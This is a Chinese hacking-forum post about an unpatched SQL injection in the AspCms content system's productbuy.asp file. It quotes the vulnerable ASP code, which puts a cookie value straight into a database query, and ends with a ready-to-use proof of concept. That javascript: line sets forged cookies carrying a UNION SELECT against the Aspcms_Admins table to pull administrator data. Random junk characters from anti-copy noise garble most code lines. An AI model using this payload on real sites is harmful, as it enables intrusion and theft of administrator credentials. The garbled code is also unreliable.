好久没上土司了,上来一看发现在删号名单内.....4 G0 w: E/ @/ |" t
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
6 |$ r& \) p5 b废话不多说,看代码:
2 e5 l7 q8 I8 Z; X1 s: C2 ^% B7 d, g& b0 }0 {$ O4 u% }
<%) K" r* ~& ~/ @; y6 l
/ b, U }) p% S. f( s9 e4 |if action = "buy" then
, _ O3 h8 Z# g. |. V' B% u0 H9 C" a9 ?, y
addOrder()
" L: K! L# s* d' b! K# `9 R4 D
M! T; P6 m! u3 ~ u) l |else4 T+ N6 T3 u& C7 m* f3 m7 ?
6 C Y3 b1 O2 q) } echoContent()/ p6 D) a" N7 M9 b9 d, X
* \% f1 o, S. K& F4 E& H
end if+ {9 k; Z p1 B
( j& e& i! N/ J8 s. ]* s
- A# C/ N3 `' h7 O. T @) J1 W6 L# Q1 z( J+ q/ z/ l5 S
……略过
4 g; t. Y- {: U4 b5 x
1 w9 ?1 q7 U! ?
, p9 C% |. X7 \/ `( `/ w$ c& k' q) ~- Z. Z- {; L
Sub echoContent(). _$ m3 C+ g7 g, E
" g& q* {5 ?: H$ [/ L" g dim id
9 K L) z; V4 E) |6 Z3 \5 S8 j# j+ z, K0 _$ F
id=getForm("id","get")5 X- B2 L8 g# \6 `4 `; }, f/ _
1 ^+ W; w# a# g2 ]# A/ ^' o% b
# r+ I. Z% F+ s/ n" J: j4 Q3 \
( E; q u$ j/ \ if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" ) p' I( B- ^/ F1 C
) e9 }; m D: t- O
$ i+ S- k9 {, ` ]$ b& c3 {7 m. y$ ]% c/ E0 u+ p
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")) V' _: d8 ~5 u& N) _
2 ^$ u7 p- e# L# [" G dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct; @/ z8 F% u6 j# j" m
* B- `" m0 \& j' `/ f! A
Dim templatePath,tempStr
& O7 |# K4 N7 Q7 R, t7 ?0 B; P2 \# P# |" Y3 h: ^: @: b
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
0 O0 N4 Z6 `0 q. g1 P0 o Q: t* Z
9 b) F4 @: j" P* |7 L' y, e
. h* P4 S9 @2 ^0 r) x2 l
6 E& T0 _' q2 b6 o8 s+ A2 z set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")7 u# H0 F5 d2 G ~% ?$ _; g9 F& u
! K4 |6 n5 G; p$ W selectproduct=rsObj(0)
% S/ ~! X* Q* K
* r' ~" D. M8 l2 `) G/ }9 ~. ~, \* `$ B # b; R6 m/ t; ?" T8 C
' u+ b* w6 Z, E+ _* s
Dim linkman,gender,phone,mobile,email,qq,address,postcode
( U" O- D) p; x5 r( f/ S5 S
: O S/ d; g/ R( L if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0/ P! R1 g$ z# R: z. a; K2 ^
4 B+ I' s5 M8 g# h. p" I
if rCookie("loginstatus")=1 then
2 n3 `, v% _) R/ |9 l& M z+ F( ^3 ~/ [0 Y5 H* G
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
0 I+ F! O* o5 n: J# @: _8 F _/ r! J
linkman=rsObj("truename")
1 D- Y' E L8 C' d
2 J* X' _1 U! L% U* U, A gender=rsObj("gender")
% T7 c3 ~* k, h, a& x/ w: ]- [- [ A3 w0 c. N( f! q
phone=rsObj("phone")# y5 Y# d4 ?" u8 x0 n( p' l" `
, V; r4 B1 v% m4 X X mobile=rsObj("mobile")
& v0 J9 H0 A4 I1 y! F2 p k# U& C' p- I* a
email=rsObj("email"); v% O- {1 d5 B/ t, D2 W4 ^3 `
^. H" \; i( p& _+ j5 I" C, C qq=rsObj("qq"); D0 s; b) W9 z& d% I" R0 N
: {& j7 ~' X; k& H P- T$ I address=rsObj("address")- r! B7 w/ H& Q3 q7 y( F) M! U
# ?5 C) T5 R" U) H% I2 v
postcode=rsObj("postcode")) ~6 e2 }5 v) u
" t6 `5 K# x6 \% e$ Q
else
; U' J. U6 U' Q7 x ]% @) |- T8 q* t/ }0 z: R3 }- Z1 a, A2 h$ [
gender=1: j3 Y3 v$ x7 a) G2 C! Y; o5 `
7 N; g3 Y) w: d: j. X end if
1 u( N0 V! C+ l& ^5 F1 `3 o$ l5 M' p5 G# w) q$ O
rsObj.close()! c1 `( H+ q6 @! [( {! \4 m
7 W2 F, B' d0 |$ @: \
0 G7 b8 h9 p: l6 Y0 ?2 E0 X9 M' P
3 N! {% h, p) A/ ], a with templateObj
6 U6 K# Y, q) t* b. ^
( e- u) d9 z! E4 o3 z1 E# s) o! { .content=loadFile(templatePath) : D2 Y* q! D) Y2 _7 D- f. @
- S6 _0 M, y6 j2 k C
.parseHtml()
$ [: r w D$ H+ `5 W. b* H0 L+ {4 g8 D
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)/ ~3 }; h7 s" J1 `4 N' y
4 x Y5 U8 w; \( u
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
+ e& R# [) f) N2 x" H# t5 Z* ?1 e" x( D' h& c+ \7 |
.content=replaceStr(.content,"[aspcms:gender]",gender)
* k2 \ j% p z& I( q+ }8 z% e
6 A- d* Z% `, g1 l1 m' n6 S .content=replaceStr(.content,"[aspcms:phone]",phone)
' e& i; Z) s1 c! `) z" r) {9 k7 ]2 D) a1 V8 i
.content=replaceStr(.content,"[aspcms:mobile]",mobile) * P% R: t5 }4 i& H8 [- r g) E. i
% G3 ` O6 H' Y3 U .content=replaceStr(.content,"[aspcms:email]",email) ' G0 d8 y- W4 j+ Y6 f! U
# }. o! y$ r$ q' K m0 b* @# Z .content=replaceStr(.content,"[aspcms:qq]",qq)
$ }- m8 j# P* u5 `9 T: y& M. a! O4 i% @
.content=replaceStr(.content,"[aspcms:address]",address)
. U$ T$ Q" b6 D, D+ R6 A
! [! T" j$ z' S* V8 y .content=replaceStr(.content,"[aspcms:postcode]",postcode)
( ]+ D% E+ f' k2 `5 u
' g# u+ ^; T* M" Z/ g .parseCommon()
) U- x5 p/ x ~! ^2 y* a9 t* v( M
echo .content
% {! R" M. |( H8 B. ]4 [; c! g% q6 i; J6 Z8 N6 R; F4 Z1 C& {' A( |3 }& F/ y
end with! X/ ^" n2 m2 I& b+ H7 _( r
! c a2 s) X; k l5 Q3 C+ V set templateobj =nothing : terminateAllObjects P. M1 c1 r: S9 w# W" G$ f: F' k
' N& |' N8 Z! `3 W9 o* q: u" T
End Sub
) T6 z9 A1 B5 d" x5 E. K3 C漏洞很明显,没啥好说的" E9 _9 h" d( }8 x
poc:2 A# i1 |- y4 N; O! N
; U3 O; t/ J" ^/ L' k5 Ejavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子1 p, h3 q6 r) k4 D; A, `
9 f) p; k: W, V$ v: i& u" m |